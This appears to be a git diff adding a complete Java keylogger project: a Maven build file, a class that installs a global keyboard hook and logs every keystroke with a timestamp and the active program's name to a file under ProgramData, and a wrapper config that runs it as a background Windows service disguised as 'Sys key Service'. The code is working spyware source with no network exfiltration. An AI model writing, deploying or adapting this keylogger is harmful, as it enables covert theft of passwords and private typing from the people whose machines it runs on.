diff --git a/pom.xml b/pom.xml
new file mode 100644
index 0000000..c8440a3
--- /dev/null
+++ b/pom.xml
@@ -0,0 +1,79 @@
+
+
+ 4.0.0
+
+ ru.mcs
+ syskey
+ 1.0-SNAPSHOT
+ syskey
+
+
+ 21
+ 21
+ UTF-8
+
+
+
+
+
+ com.github.kwhat
+ jnativehook
+ 2.2.2
+
+
+
+
+ net.java.dev.jna
+ jna
+ 5.14.0
+
+
+ net.java.dev.jna
+ jna-platform
+ 5.14.0
+
+
+
+
+ org.slf4j
+ slf4j-api
+ 2.0.12
+
+
+ org.slf4j
+ slf4j-simple
+ 2.0.12
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-assembly-plugin
+ 3.6.0
+
+
+
+ SysKeyService
+
+
+
+ jar-with-dependencies
+
+
+
+
+ make-assembly
+ package
+
+ single
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/main/java/ru/mcs/syskey/SysKeyService.java b/src/main/java/ru/mcs/syskey/SysKeyService.java
new file mode 100644
index 0000000..3089000
--- /dev/null
+++ b/src/main/java/ru/mcs/syskey/SysKeyService.java
@@ -0,0 +1,143 @@
+package ru.mcs.syskey;
+
+import com.github.kwhat.jnativehook.GlobalScreen;
+import com.github.kwhat.jnativehook.NativeHookException;
+import com.github.kwhat.jnativehook.keyboard.NativeKeyEvent;
+import com.github.kwhat.jnativehook.keyboard.NativeKeyListener;
+import com.sun.jna.platform.win32.Kernel32;
+import com.sun.jna.platform.win32.User32;
+import com.sun.jna.platform.win32.WinDef;
+import com.sun.jna.platform.win32.WinNT;
+import com.sun.jna.ptr.IntByReference;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.time.LocalDateTime;
+import java.time.format.DateTimeFormatter;
+
+public class SysKeyService implements NativeKeyListener {
+ private static final Logger logger = LoggerFactory.getLogger(SysKeyService.class);
+ private static final Path LOG_FILE = Path.of(System.getenv("ProgramData"), "KeyLogger", "keylog.txt");
+ private static final User32 USER32 = User32.INSTANCE;
+ private static final Kernel32 KERNEL32 = Kernel32.INSTANCE;
+ private static final DateTimeFormatter DTF = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
+
+ public static void main(String[] args) {
+ try {
+ initLogger();
+ initHook();
+ runAsService();
+ } catch (Exception e) {
+ logger.error("Critical error: {}", e.getMessage(), e);
+ System.exit(1);
+ }
+ }
+
+ private static void initLogger() throws IOException {
+ Files.createDirectories(LOG_FILE.getParent());
+ if (!Files.exists(LOG_FILE)) {
+ Files.createFile(LOG_FILE);
+ }
+ }
+
+ private static void initHook() throws NativeHookException {
+ GlobalScreen.registerNativeHook();
+ GlobalScreen.addNativeKeyListener(new SysKeyService());
+ }
+
+ private static void runAsService() {
+ logger.info("Keylogger service started");
+ Runtime.getRuntime().addShutdownHook(new Thread(() -> {
+ try {
+ GlobalScreen.unregisterNativeHook();
+ } catch (NativeHookException e) {
+ logger.error("Error unregistering hook: {}", e.getMessage());
+ }
+ logger.info("Service stopped");
+ }));
+
+ while (true) {
+ try {
+ Thread.sleep(Long.MAX_VALUE);
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ break;
+ }
+ }
+ }
+
+ @Override
+ public void nativeKeyPressed(NativeKeyEvent e) {
+ try {
+ WinDef.HWND foregroundWindow = USER32.GetForegroundWindow();
+ String appName = getApplicationName(foregroundWindow);
+ String keyText = getKeyText(e);
+
+ String logEntry = String.format("[%s] %s: %s%n",
+ LocalDateTime.now().format(DTF),
+ appName,
+ keyText);
+
+ Files.writeString(LOG_FILE, logEntry,
+ StandardOpenOption.APPEND, StandardOpenOption.CREATE);
+ } catch (Exception ex) {
+ logger.error("Logging error: {}", ex.getMessage());
+ }
+ }
+
+ private String getApplicationName(WinDef.HWND hwnd) {
+ IntByReference pidRef = new IntByReference(0);
+ try {
+ // Получаем PID процесса через IntByReference
+ USER32.GetWindowThreadProcessId(hwnd, pidRef);
+ int pid = pidRef.getValue();
+
+ if (pid == 0) {
+ return "Unknown";
+ }
+
+ // Открываем процесс
+ WinNT.HANDLE process = KERNEL32.OpenProcess(
+ Kernel32.PROCESS_QUERY_LIMITED_INFORMATION,
+ false,
+ pid
+ );
+
+ if (process == null) return "Unknown";
+
+ // Получаем путь к исполняемому файлу
+ char[] path = new char[4096];
+ IntByReference sizeRef = new IntByReference(path.length);
+ boolean success = KERNEL32.QueryFullProcessImageName(process, 0, path, sizeRef);
+ KERNEL32.CloseHandle(process);
+
+ if (!success) return "Unknown";
+
+ // Извлекаем имя файла из пути
+ String fullPath = new String(path, 0, sizeRef.getValue()).trim();
+ return fullPath.substring(fullPath.lastIndexOf('\\') + 1);
+ } catch (Exception e) {
+ logger.error("App name error: {}", e.getMessage());
+ return "Unknown (PID: " + pidRef.getValue() + ")";
+ }
+ }
+
+
+ private String getKeyText(NativeKeyEvent e) {
+ try {
+ return NativeKeyEvent.getKeyText(e.getKeyCode())
+ .replace("\n", "Enter")
+ .replace("\t", "Tab");
+ } catch (Exception ex) {
+ return "KeyCode-" + e.getKeyCode();
+ }
+ }
+
+ // Остальные методы интерфейса
+ @Override public void nativeKeyReleased(NativeKeyEvent e) {}
+ @Override public void nativeKeyTyped(NativeKeyEvent e) {}
+}
\ No newline at end of file
diff --git a/src/main/resources/ru/mcs/syskey/SysKeyService.xml b/src/main/resources/ru/mcs/syskey/SysKeyService.xml
new file mode 100644
index 0000000..1d5b0a2
--- /dev/null
+++ b/src/main/resources/ru/mcs/syskey/SysKeyService.xml
@@ -0,0 +1,9 @@
+
+ SysKeyService
+ Sys key Service
+ Sys key Service active applications
+ java
+ -jar "C:\path\to\your\app.jar"
+ rotate
+
+
\ No newline at end of file